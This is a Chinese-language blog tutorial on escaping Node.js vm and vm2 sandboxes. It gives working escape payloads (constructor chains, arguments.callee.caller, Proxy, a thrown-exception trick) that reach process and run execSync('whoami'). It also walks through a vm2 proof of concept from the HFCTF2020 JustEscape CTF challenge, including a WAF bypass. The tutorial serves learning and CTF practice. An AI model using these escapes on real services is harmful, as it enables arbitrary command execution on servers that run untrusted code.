初探VM/VM2沙箱逃逸
最后更新时间:
文章总字数:
预计阅读时间:
初探VM和VM2沙箱逃逸
前情提要:JavaScript和nodejs到底有什么区别:JavaScript运行在浏览器的前端,而后面使用v8引擎为JavaScript单独开发了一个运行环境,使其可以作为一种后端语言运行在服务端,写在后端的JavaScript就叫nodejs。也就是说一个前端一个后端。
VM沙箱基本概念和使用
什么是沙箱
沙箱就是我们开辟出的单独运行代码的环境,与主机相互隔离,从而使得代码并不会影响主机上的功能。
沙箱的使用
在nodejs中,我们可以通过引入vm和vm2模块来创建沙箱,由于vm太容易逃逸,安全性不高,所以后面发展出了vm2。
上下文对象:一个普通的js对象,里面有值有方法,将其传入沙箱就变成了上下文对象,里面的值和方法只对沙箱内生效。
vm模块常用的方法:
vm.runinThisContext(code)
:在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性。vm.createContext([sandbox])
: 在使用前需要先创建一个上下文对象,再将上下文对象传给该方法(如果没有则会生成一个空的上下文对象),v8为这个上下文对象在当前global外再创建一个作用域,此时这个上下文对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。vm.runInContext(code, contextifiedSandbox[, options])
:参数为要执行的代码和创建完作用域的上下文对象,代码会在传入的上下文对象中执行,并且参数的值与上下文内的参数值相同。vm.runInNewContext(code[, sandbox][, options])
: creatContext和runInContext的结合版,传入要执行的代码和上下文对象。vm.Script类
vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。new vm.Script(code, options)
:创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行,也就是写成了一个脚本。
简单来说,除了runinThisContext,其他沙箱内都无法访问到global属性。
1 | const util = require('util'); // 引入 Node.js 内置模块 util |
插播一下util模块的作用:Node.js 内置模块 util
提供了一些实用的函数,可以用于简化 JavaScript 编程中的一些常见任务。这些函数包括:
util.format()
:类似于console.log()
,用于格式化输出字符串。util.inspect()
:用于将 JavaScript 对象转换为字符串形式,便于调试和输出。util.promisify()
:将基于回调的异步函数(例如 Node.js 中的许多 API)转换为返回 Promise 的函数,便于使用async/await
。util.inherits()
:用于实现对象之间继承关系的函数。util.types
:提供了一些常见 JavaScript 数据类型的判断函数,例如util.types.isDate()
、util.types.isArray()
等
VM沙箱逃逸
沙箱逃逸的原理与目标
逃逸的意思就是从沙箱这个封闭的环境中逃出来,终极目标是获取全局对象global的全局变量process,因为有了process我们就可以在nodejs中进行命令执行,具体语句如下:
process.mainModule.require('child_process').execSync('whoami').toString()
获取process的常见方法
这些方法使用于vm沙箱逃逸,同时奠定了vm2的沙箱逃逸基本思想。
通过this对象进行获取
1
2
3const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process')()`);// 使用反引号包裹代码串可以更好执行
console.log(y1);this对象指的是传进来的上下文对象本身,事实上这个对象并不属于沙箱环境(因为它是在外面创建的)
通过访问他的构造方法的构造器,我们得到了一个构造方法的构造器,并构造一个方法体是
return process
的方法,并加上括号执行,我们就获得了process将第一个constructor替换成toString也是一样的,获得到沙箱外方法的构造器即可。
this为null,通过函数内置对象属性
arguments.callee.caller
配合函数自动调用获取。很多时候传入的上下文对象是空的,开发者直接在沙箱里再创建对象。this为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性
arguments.callee.caller
,它可以返回函数的调用者。刚刚的逃逸是直接找到了一个可引用的外部对象,而现在的逃逸变成在沙箱内定义一个函数,然后在沙箱外调用,arguments.callee.caller
就会返回沙箱外的一个对象。最好用的就是toString,只要外面有字符串拼接就会自动调用,或者也可以看题目在外部调用的方法而来定义方法。
具体操作如下:
this为null,函数也不能自动调用,通过
proxy
代理对象配合属性访问获取这次定义的是proxy代理对象而非普通的空对象,只要访问了代理对象的属性,不管该属性是否存在,get方法都会自动触发,从而顺利逃逸(突然感觉在很多漏洞里面,自动调用都是一个很关键的点)
具体操作:
this为null,函数不自动调用,属性也不访问,通过抛出异常并捕获来获取(思想很重要)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17const vm = require("vm");
const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。
VM2沙箱逃逸
vm沙箱随便逃逸,所以现在开发基本都是用vm2,关于vm2的沙箱逃逸新方法近年来也是层出不穷,每出一个就是高危cve
vm2相比vm做了很大的改进,其中之一就是利用了es6新增的 proxy 特性,从而拦截对诸如 constructor
和 __proto__
这些属性的访问
至于vm2具体实现的原理,并不是本文讨论的重点,贴上学习链接:
vm2实现原理分析-安全客 - 安全资讯平台 (anquanke.com)
而vm2沙箱逃逸的学习主要就是复现和理解这些cve的poc。
下面这道例题,浅浅分析一个poc,看看究竟是怎么逃逸的,实际上也是使用了抛出错误捕获的思想搭配上原型链污染。
HFCTF2020 JustEscape
看返回nodefined就知道这不是php,这是个js,输入Errot().stack
可以看到页面回显的错误信息,根据错误信息可以判断这里使用了vm2沙箱,进而确定需要进行vm2沙箱逃逸。
vm2沙箱逃逸的poc和cve近年来非常多,这里就简单分析一下大家都用来打通了这题的poc,看看究竟是怎么逃逸的。
另外提一句,这题不是直接把poc的untrusted当code传进去就行,还需要简单绕过waf,waf绕过方式感觉和ssti有点像,通过将所有的特殊字符串使用反引号拆分可以绕过。
1 | // 使用严格模式 |
在该脚本中,尝试访问 process 对象并执行 whoami 命令的过程使用了 get_process
方法和 mainModule.require("child_process").execSync("whoami")
方法,这些都是通过原型链继承和闭包等技术来实现的。由于 vm2
模块中的 VM 类不允许访问 Node.js 的全局对象,因此这些方法无法直接访问 process 对象和执行 whoami 命令,但由于 JavaScript 中的原型链和闭包等特性,可以通过 TypeError.prototype
和异常捕获等方式来访问到外部环境的对象和方法,从而实现逃逸。
流程:
首先TypeError.prototype.get_process = f=>f.constructor("return process")();
通过原型链污染来把所有TypeError对象的get_process污染成获取process对象的方法,f=>f.constructor("return process")()
表示一个箭头函数,该函数接受一个参数 f
,并返回 f.constructor("return process")()
的结果。
然后Object.preventExtensions(Buffer.from("")).a = 1;
Buffer.from("")
是一个创建空的 Buffer 对象的方法。空的 Buffer 对象不包含任何字节,因此在访问该对象的任何属性时都会返回undefined
。Object.preventExtensions()
是一个 JavaScript 内置方法,用于禁止对象添加新的属性或方法。Object.preventExtensions(Buffer.from(""))
表示禁止在空的 Buffer 对象上添加新的属性或方法。a = 1
是一个赋值语句,用于将数字 1 赋值给属性名为a
的属性。由于该对象已经被禁止添加新的属性或方法,因此无法成功添加该属性。
也就是说这个一定会抛出异常,然后成功被catch捕获为e(TypeError类型)。
最后return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
成功通过异常捕获和get_process方法获得process,从而达成任意命令执行。
参考链接: